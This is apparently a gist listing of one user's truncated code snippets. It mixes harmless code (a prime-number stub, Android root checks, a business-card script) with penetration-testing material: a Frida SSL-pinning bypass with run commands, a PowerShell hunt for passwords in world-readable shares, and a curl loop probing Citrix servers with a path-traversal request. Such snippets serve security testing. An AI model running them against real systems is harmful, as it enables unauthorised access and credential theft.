nuryslyrt

package main

import (
	"fmt"
	"math"
)

//  Golang program for
//  Display mersenne prime numbers from 1 to n

nuryslyrt

public class RootUtil {
    public static boolean isDeviceRooted() {
        return checkRootMethod1() || checkRootMethod2() || checkRootMethod3();
    }

    private static boolean checkRootMethod1() {
        String buildTags = android.os.Build.TAGS;
        return buildTags != null && buildTags.contains("test-keys");
    }

nuryslyrt

/* 
   Android SSL Re-pinning frida script v0.2 030417-pier 

   $ adb push burpca-cert-der.crt /data/local/tmp/cert-der.crt
   $ frida -U -f it.app.mobile -l frida-android-repinning.js --no-pause

   https://techblog.mediaservice.net/2017/07/universal-android-ssl-pinning-bypass-with-frida/
   
   UPDATE 20191605: Fixed undeclared var. Thanks to @oleavr and @ehsanpc9999 !
*/

nuryslyrt

package okhttp3;

import java.security.cert.Certificate;
import java.security.cert.X509Certificate;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.LinkedHashSet;
import java.util.List;
import java.util.Set;

nuryslyrt

Handle CORS Client-side

Cross-origin resource sharing (CORS) is a mechanism that allows restricted resources (e.g. fonts) on a web page to be requested from another domain outside the domain from which the first resource was served. This is set on the server-side and there is nothing you can do from the client-side to change that setting, that is up to the server/API. There are some ways to get around it tho.

Sources : MDN - HTTP Access Control | Wiki - CORS

CORS is set server-side by supplying each request with additional headers which allow requests to be requested outside of the own domain, for example to your localhost. This is primarily set by the header:

Access-Control-Allow-Origin

nuryslyrt

Description

This is a simple guide to perform javascript recon in the bugbounty

Steps

• The first step is to collect possibly several javascript files (more files = more paths,parameters -> more vulns)

nuryslyrt

/* 
Fun interactive Business Card Idea
Definitely Hover Things */

var secret = document.querySelector('#WINKWINK');
var wink = document.querySelector('#wink');

secret.addEventListener('mouseover', function(){
wink.classList.add('active')
});

nuryslyrt

$Shares = Get-ChildItem "C:\test123" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone"} | %{($_.PSPath -split '::')[1]};
foreach($Share in $Shares) {
    findstr /r "[0-9][0-9]*\.[0-9][0-9]*\.[0-9][0-9]*\.[0-9][0-9]*" $Share;
     findstr /rs "pass" $Share;
}

nuryslyrt

for i in `cat citrix.txt`;do curl -s -o /dev/null -w "%{remote_ip}    %{http_code}\n" -k --path-as-is https://$i/vpn/../vpns/cfg/smb.conf>>citrix.txt;done

nuryslyrt

CVE-2019-5418 Demo

Build Docker container: Dockerfile

FROM ruby:2.5
RUN apt-get update -qq && apt-get install -y nodejs postgresql-client
RUN mkdir /myapp
WORKDIR /myapp
COPY Gemfile /myapp/Gemfile